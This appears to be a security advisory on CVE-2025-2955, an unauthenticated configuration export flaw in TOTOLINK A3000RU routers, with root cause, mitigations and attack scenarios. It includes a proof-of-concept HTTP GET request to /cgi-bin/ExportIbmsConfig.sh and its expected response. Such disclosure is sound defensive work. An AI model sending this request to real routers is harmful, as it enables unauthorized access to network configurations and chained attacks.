Vulnerability in TOTOLINK A3000RU

 

TOTOLINK A3000RU IBMS Configuration File Handler Improper Access Control Vulnerability

Overview 

A security vulnerability (CVE-2025-2955) has been discovered in TOTOLINK A3000RU routers running firmware versions up to 5.9c.5185. The flaw resides in the IBMS (Intelligent Bandwidth Management System) Configuration File Handler and is classified as an Improper Access Control issue. Attackers can exploit this vulnerability remotely to access sensitive router configurations without proper authentication. 

Vulnerability Details

• CVE ID: CVE-2025-2955

• CVSS Score: 5.3 (Medium)

• Affected Component: /cgi-bin/ExportIbmsConfig.sh

• Impact: Unauthorized access to IBMS configuration files

• Attack Vector: Remote (network exploitable)

• Disclosure Date: March 30, 2025

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Root Cause Analysis

The vulnerability exists due to insufficient access controls in the ExportIbmsConfig.sh script, which allows unauthenticated users to export the IBMS configuration file. Since the script does not validate user permissions, an attacker can retrieve sensitive router configurations, potentially leading to further attacks such as:

• Network reconnaissance

• Bandwidth manipulation

• Exploitation of other hidden vulnerabilities

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Proof of Concept (PoC) Exploitation

A remote attacker can exploit this issue by sending a simple HTTP GET request to the vulnerable endpoint:

Exploit Request

http

Copy

GET /cgi-bin/ExportIbmsConfig.sh HTTP/1.1
Host: <TARGET_IP>
User-Agent: Mozilla/5.0
Connection: close

Expected Response

If the router is vulnerable, the server will respond with the IBMS configuration file in plaintext:

plaintext

Copy

HTTP/1.1 200 OK
Content-Type: text/plain
Connection: close

# IBMS Configuration
max_bandwidth=100Mbps
qos_policy=strict
allowed_ips=192.168.1.0/24
...

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Potential Attack Scenarios

Scenario 1: Information Leak Leading to DoS

1. An attacker scans the local network for TOTOLINK A3000RU routers.

2. They send a request to /cgi-bin/ExportIbmsConfig.sh and extract QoS (Quality of Service) policies.

3. By analyzing the configuration, they identify bandwidth restrictions and launch a DoS attack by flooding high-priority traffic.

Scenario 2: Chained Attack with Credential Theft

1. An attacker retrieves the IBMS configuration and finds references to admin interfaces.

2. They combine this with another vulnerability (e.g., default credentials or CVE-2025-XXXX) to gain full router access.

3. They modify firewall rules, redirect traffic, or deploy malware.

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Mitigation & Recommendations

1. Apply Firmware Updates:

   • Check TOTOLINK’s official website for patches beyond version 5.9c.5185.

2. Restrict Access:

   • Use firewall rules to block external access to /cgi-bin/ExportIbmsConfig.sh.

3. Network Segmentation:

   • Place IoT devices like routers in a separate VLAN to limit exposure.

4. Disable Unnecessary Features:

   • If IBMS is not in use, disable it via the admin panel.

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Conclusion

CVE-2025-2955 highlights the risks of improper access controls in embedded devices. While the impact is moderate, it can be a stepping stone for more severe attacks. Users of TOTOLINK A3000RU should apply updates immediately and monitor for suspicious activity.

References

• https://nvd.nist.gov/
• https://www.totolink.net/